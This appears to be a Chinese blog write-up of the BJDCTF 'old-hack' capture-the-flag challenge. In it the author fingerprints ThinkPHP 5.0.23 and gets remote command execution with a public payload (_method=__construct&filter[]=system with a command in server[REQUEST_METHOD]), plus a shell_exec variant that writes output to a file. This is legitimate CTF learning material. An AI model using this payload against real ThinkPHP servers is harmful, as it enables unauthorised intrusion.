[BJDCTF 2nd]old-hack 1

WP

一道直接利用thinkphp的RCE洞的题目。
首先进入环境,得知这是一个thinkphp5,通过输入?s=1来报错,获得版本信息(是一个小姿势):
在这里插入图片描述
tp5.0.23这个版本以及相近的版本以RCE而出名的,去网上搜一波payload,搜到了:

?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /

直接打就可以执行。
在这里插入图片描述
在这里插入图片描述

不过我一开始执行的时候,光看到了

system(): Cannot execute a blank command

没看到他最上面的执行的结果。。。我以为因为过滤了system这个函数导致不能RCE。。。(我是瞎子。。)

然后我经过尝试,发现用shell_exec的时候不会再提示Cannot execute a blank command,但是没有回显,所以执行

echo `ls /` > 1.txt

然后去读1.txt看结果。。感觉自己还是要多观察回显。。。。。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值